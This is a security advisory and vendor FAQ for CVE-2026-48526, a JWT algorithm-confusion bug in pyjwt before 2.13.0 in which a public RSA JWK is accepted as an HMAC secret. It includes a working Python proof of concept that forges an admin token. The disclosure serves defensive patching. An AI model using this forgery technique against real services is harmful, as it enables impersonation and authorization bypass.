CVE-2026-48526

[!NOTE]
Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.
In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm.
The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier:
(a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-48526 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.13.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-48526? CVE-2026-48526 is a high-severity improper authentication vulnerability in pyjwt (pip), affecting versions < 2.13.0. It is fixed in 2.13.0. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-48526? CVE-2026-48526 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pyjwt are affected by CVE-2026-48526? pyjwt (pip) versions < 2.13.0 is affected.
4. Is there a fix for CVE-2026-48526? Yes. CVE-2026-48526 is fixed in 2.13.0. Upgrade to this version or later.
5. Is CVE-2026-48526 exploitable, and should I be worried? Whether CVE-2026-48526 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-48526 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-48526? Upgrade pyjwt to 2.13.0 or later.